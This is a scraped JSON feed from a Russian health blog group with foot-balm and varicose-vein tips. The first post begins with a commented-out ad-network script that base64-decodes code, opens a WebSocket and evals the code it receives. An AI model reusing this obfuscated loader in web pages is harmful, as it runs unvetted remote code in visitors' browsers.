\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Смешать 100 мл оливкового, 2 ст. ложки кунжутного масла и 2 ч. ложки масляного раствора витамина А. В 3 литрах теплой воды растворите 1 чайную ложку соды. Подержать ноги в растворе 15-20 минут. Вытереть насухо полотенцем и круговыми массажными движениями снизу вверх нанести бальзам. Подождать 10-20 минут до впитывания, надеть хлопчатобумажные носки и лечь спать.\x3c/p>\n\x3cp>\x3ca href=\"https://vk.com/wall-76873158_100149\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43965105223","tags":["ноги","усталость","бальзам","Здоровье","уставшие ноги","устали ноги"],"date":1536858727,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20222343905,"photo_original":"https://mtdata.ru/u19/photo037F/20222343905-0/original.png","width":696,"height":485}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/etot-balzam-prosto-spasenie-dlya-ustavshih-nozhek/","topic":"spam","title":"Этот бальзам — просто спасение для уставших ножек!","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-13T17:12:07.000Z","ver1":"13 сентября, 20:12","ver2":"13.09.2018 в 20:12","ver3":"13 сент., 20:12"},"images":[{"main":true,"url":"https://mtdata.ru/u19/photo037F/20222343905-0/original.png","width":696,"height":485}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43439784329,"from_id":610787515,"from":{"id":610787515,"display_name":"Иван Р","url":"https://mirtesen.ru/people/610787515","photo_original":"https://mtdata.ru/u25/photoF58B/20530199656-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30101041796,"text":"\x3cdiv dir=\"ltr\" style=\"text-align: left;\" trbidi=\"on\">\x3cimg src=\"//mtdata.ru/u25/photo8285/20910312879-0/original.jpg#20910312879\" />\x3cbr />Варикоз – это серьезный косметический дефект и очень сложная болезнь. Появление на ногах «звездочек» и выступающих вен – это признак серьезной проблемы кровообращения. Поэтому варикозное расширение в области поверхностных вен – это сфера деятельности не только косметологов, удаляющих звездочки, но врачей-флебологов, лечащих причины расширения вен и осложнения. \x3cbr />\x3ca target=\"_blank\">\x3c/a>\x3cbr />Что такое варикоз? \x3cbr />Варикозом, или варикозным расширением вен называют прогрессирующую болезнь подкожных, а затем – и глубоких вен, которые постепенно утрачивают свою эластичность. В результате потери сосудами эластичности они начинают терять свою первоначальную форму, расширяются, извиваются и образуют узловатые расширения (вариксы, варикозные утолщения или узлы), которые и дали название заболеванию. \x3cbr />\x3cbr />В подавляющим большинстве случаев этой болезнью страдают женщины, и на прием к флебологу они приходят, когда болезнь находится уже в запущенной стадии.\x3cbr />\x3cbr />Корень проблемы \x3cbr />Вены в организме играют роль сети разветвленных резервуаров, несущих кровь от тканей к сердцу. В зоне нижних конечностей сеть представлена глубокими или поверхностными венами, которые соединены между собой системами аварийного сброса крови. Обычно основная нагрузка ложится на глубокие вены – они объемнее и прочнее. Поверхностные вены берут на себя около 15% работы. \x3cbr />\x3cbr />Сердце, как известно, играет роль насоса и гонит кровь по венам, а часть крови проталкивается по венам против силы тяжести из-за работы окружающих вены мышц при ходьбе, приседаниях и движениях. При расслаблении мышц из-за стояния, малом объеме движений и слабой тренированности ног кровь под действием силы тяжести устремляется вниз. Но ее не пропускают назад особые клапаны, своего род кармашки на стенках вен. \x3cbr />\x3cbr />Если клапаны повреждены, вены расширены или воспалены, они не могут удержать кровь – развиваются застойные явления, вены начинают раздуваться и выпирать. Нарушается нормальное кровоснабжение конечностей – развивается варикозная болезнь. \x3cbr />\x3cbr />Причины варикоза \x3cbr />Но ведь многие из нас подолгу стоят на ногах, сидят в офисе или мало тренируют ноги, но варикоз развивается не у всех. Этому есть логичные объяснения: для развития варикозной болезни должны быть еще и предрасполагающие факторы. \x3cbr />\x3cbr />К ним относят отягощенную наследственность – варикоз достается «в приданое» от мамы или бабушки. Варикозу способствуют частые беременности и трудные роды, тяжелая работа, если вы вынуждены носить грузы более 5-7 кг, если вы подолгу находитесь на ногах или сидите в неподвижной позе, либо если вы принимаете гормональные препараты. \x3cbr />\x3cbr />Как распознать варикоз? \x3cbr />Прислушайтесь к своему телу. Если у вас: \x3cbr />возникают боли в ногах,\x3cbr />тяжесть в зоне икр,\x3cbr />появились сосудистые звездочки,\x3cbr />отечность ног и они сильно устают в привычной обуви,\x3cbr />по ночам вас беспокоят судороги в зоне икроножных мышц,\x3cbr />кожа как бы немеет, – вам пора к флебологу. \x3cbr />\x3cbr />А пока вы собираетесь на прием, необходимо вспомнить о профилактике. \x3cbr />9 советов для тех, кто хочет избежать варикоза \x3cbr />\x3cbr />Если вы дома, постарайтесь часть домашней работы выполнять в сидячем положении или присаживаться на короткий отдых. \x3cbr />Если вы смотрите телевизор, читаете или говорите по телефону, вспомните американскую привычку – закиньте ноги на спинку дивана или на стол. Несколько раз в день посидеть с приподнятыми ногами очень полезно.\x3cbr />Спите на кровати с приподнятыми вверх ногами, подложите для сна под ноги валик (подушку, свернутое одеяло).\x3cbr />Отмените очень горячие ванны, парилки и сауны – для ваших ног это вредно. \x3cbr />Полезным действием обладают обливания ног прохладной водой – это повышает тонус вен, полезен и холодный душ с массирующими насадками. Им проводят водный массаж утром и вечером.\x3cbr />Варикоз – это одна из проблем полных людей, и его появление – это лишний повод начать худеть. Помните о допустимой норме подъема тяжестей для женщин: в каждой руке не более 3 килограммов.\x3cbr />Варикозу способствуют тесная одежда с резинками, узкая обувь и обувь на каблуках – стоит пересмотреть свой гардероб, если хочется, чтобы ноги перестали болеть. \x3cbr />А регулярное ношение особого белья либо антиварикозных чулок или колготок и трикотажа – это отличная фиксация вен и их тренировка. Только подберите такое белье в специализированном магазине медицинских изделий. К нему требуется сертификат и инструкция по надеванию и ношению.\x3cbr />Если ваша работа статичная, чаще запрокидывайте ноги на стол во время отдыха, вставайте размяться, не сидите нога на ногу – это крайне вредная привычка. Подставьте себе под ноги скамеечку или прикрепите перекладину на высоте 15-20 см – это улучшит отток крови от вен. Можно применять специальные гели, снимающие усталость ног и тонизирующие стенки вен, делать массаж икроножных мышц и чаще ходить босиком.\x3cbr />\x3ca target=\"_blank\" href=\"http://www.passion.ru/\">Источник\x3c/a>\x3cbr /> \x3c/div>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43439784329","tags":["вены","Обувь","ноги","кровообращение","профилактика","кровь","уставшие ноги","мышцы","варикоз"],"date":1419586200,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20910312879,"photo_original":"https://mtdata.ru/u25/photo8285/20910312879-0/original.jpg","width":460,"height":330}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"http://mysportru.blogspot.com/2014/12/blog-post_312.html","topic":"health","title":"Причины возникновения и профилактика варикоза","preview_text":"Варикоз – это серьезный косметический дефект и очень сложная болезнь. Появление на ногах «звездочек» и выступающих вен – это признак серьезной проблемы кровообращения. Поэтому варикозное расширение в области поверхностных вен – это сфера деятельности не только косметологов, удаляющих звездочки, но","post_type":"post","formattedDates":{"iso":"2014-12-26T09:30:00.000Z","ver1":"26 декабря, 12:30","ver2":"26.12.2014 в 12:30","ver3":"26 дек., 12:30"},"images":[{"main":true,"url":"https://mtdata.ru/u25/photo8285/20910312879-0/original.jpg","width":460,"height":330}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43052485187,"from_id":610787515,"from":{"id":610787515,"display_name":"Иван Р","url":"https://mirtesen.ru/people/610787515","photo_original":"https://mtdata.ru/u25/photoF58B/20530199656-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30101041796,"text":"\x3cdiv dir=\"ltr\" style=\"text-align: left;\" trbidi=\"on\">\x3cbr />\x3cbr /> \x3cbr /> \x3cbr /> \x3cbr /> \x3cbr />\x3cimg src=\"http://mtdata.ru/u23/photoC499/20668706918-0/original.jpg#20668706918\" /> \x3cbr />\x3cbr />Если вы весь день \"на ногах\", вечером их вообще не чувствуете, появляются отеки, боли - попробуйте массаж с масляным бальзамом.\x3cbr />\x3ca target=\"_blank\">\x3c/a>\x3cbr />Смешать 100 мл оливкового, 2 ст. ложки кунжутного масла и 2 ч. ложки масляного раствора витамина А. В 3 литрах теплой воды растворите 1 чайную ложку соды. Подержать ноги в растворе 15-20 минут. Вытереть насухо полотенцем и круговыми массажными движениями снизу вверх нанести бальзам. Подождать 10-20 минут до впитывания, надеть хлопчатобумажные носки и лечь спать. \x3cbr /> \x3ca target=\"_blank\" href=\"http://vk.com/best_housewife\">Источник\x3c/a>\x3cbr /> \x3c/div>","comments_count":0,"marks_count":3,"likes":{"count":3,"user_likes":0,"can_like":0,"marks_pluses":3,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":3}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43052485187","tags":["ноги","усталость","МАССАЖ","оливковое масло","уставшие ноги","витамины"],"date":1415073600,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20668706918,"photo_original":"https://mtdata.ru/u23/photoC499/20668706918-0/original.jpg","width":604,"height":394}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"http://mysportru.blogspot.com/2014/11/blog-post_4.html","topic":"health","title":"Чудо-бальзам для уставших ног","preview_text":"Если вы весь день \"на ногах\", вечером их вообще не чувствуете, появляются отеки, боли - попробуйте массаж с масляным бальзамом. Смешать 100 мл оливкового, 2 ст. ложки кунжутного масла и 2 ч. ложки масляного раствора витамина А. В 3 литрах теплой воды растворите 1 чайную ложку соды. Подержать ноги","post_type":"post","formattedDates":{"iso":"2014-11-04T04:00:00.000Z","ver1":"4 ноября, 7:00","ver2":"04.11.2014 в 7:00","ver3":"4 нояб., 7:00"},"images":[{"main":true,"url":"https://mtdata.ru/u23/photoC499/20668706918-0/original.jpg","width":604,"height":394}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"уставшие ноги","tagId":80720868357,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}
